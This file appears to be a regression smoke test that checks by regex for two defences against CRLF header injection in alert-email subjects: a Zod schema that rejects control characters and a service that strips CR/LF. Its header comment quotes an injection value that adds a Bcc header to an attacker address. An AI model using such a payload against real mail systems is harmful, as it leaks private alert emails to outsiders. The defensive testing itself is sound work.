/**
 * audit3-5 smoke — email subjects cannot smuggle SMTP headers via CRLF.
 *
 * Run: npx tsx scripts/smoke/audit3-5-email-crlf.ts
 *
 * Why this exists (2026-05-28):
 *   `EmailService.send` interpolates `template.subject` with payload
 *   fields that may contain operator-controlled strings (incident
 *   title, monitorName, errorMessage). If any of those contained
 *   `\r\nBcc: attacker@evil`, nodemailer would happily emit it as a
 *   second header and a blind copy of every alert email would leave
 *   the perimeter.
 *
 *   Defence in depth: (a) Zod validation on incident.title rejects
 *   control characters at the API boundary; (b) EmailService.send
 *   strips CR + LF from the rendered subject before SMTP.
 *
 *   This smoke is a regression detector — asserts the source has
 *   BOTH guards.
 */
import './_lib';
import { ok, fail } from './_lib';
import fs from 'fs';
import path from 'path';

const EMAIL_SVC = path.resolve(__dirname, '../../src/lib/services/email.service.ts');
const INCIDENT_SCHEMA = path.resolve(__dirname, '../../src/lib/validations/incident.schema.ts');

function main(): void {
    const emailSrc = fs.readFileSync(EMAIL_SVC, 'utf8');
    const schemaSrc = fs.readFileSync(INCIDENT_SCHEMA, 'utf8');

    // 1. EmailService strips CR/LF before SMTP.
    if (!/replace\(\s*\/\[\\r\\n\]\+?\/g\s*,/.test(emailSrc)) {
        fail(
            'audit3-5 email CRLF strip',
            'EmailService.send does not strip [\\r\\n]+ from the rendered subject — header-injection vulnerable',
        );
    }
    ok('EmailService.send strips CR/LF from rendered subject');

    // 2. The strip happens between placeholder substitution and sendMail.
    const renderToSend = emailSrc.match(/replacePlaceholders\(template\.subject[\s\S]+?sendMail\(/);
    if (!renderToSend || !/replace\(\s*\/\[\\r\\n\]\+?\/g\s*,/.test(renderToSend[0])) {
        fail(
            'audit3-5 strip position',
            'CR/LF strip exists but not between placeholder render and sendMail — re-injection possible',
        );
    }
    ok('CR/LF strip applied between render and sendMail');

    // 3. Zod schema on incident.title rejects control characters.
    if (!/title:\s*z\.string\(\)[\s\S]{0,200}refine\([^)]*noControl/.test(schemaSrc)) {
        fail(
            'audit3-5 zod refine',
            'incident.title in createIncidentSchema does not refine on noControlChars — control chars accepted at API boundary',
        );
    }
    if (!/!\/\[\\r\\n\\t\\0\]\//.test(schemaSrc)) {
        fail(
            'audit3-5 zod regex',
            'noControlChars predicate does not reject \\r \\n \\t \\0 — schema accepts CRLF',
        );
    }
    ok('createIncidentSchema rejects [\\r\\n\\t\\0] in title');

    ok('audit3-5 email header injection', 'defence-in-depth: schema rejects + service strips CR/LF');
}

main();
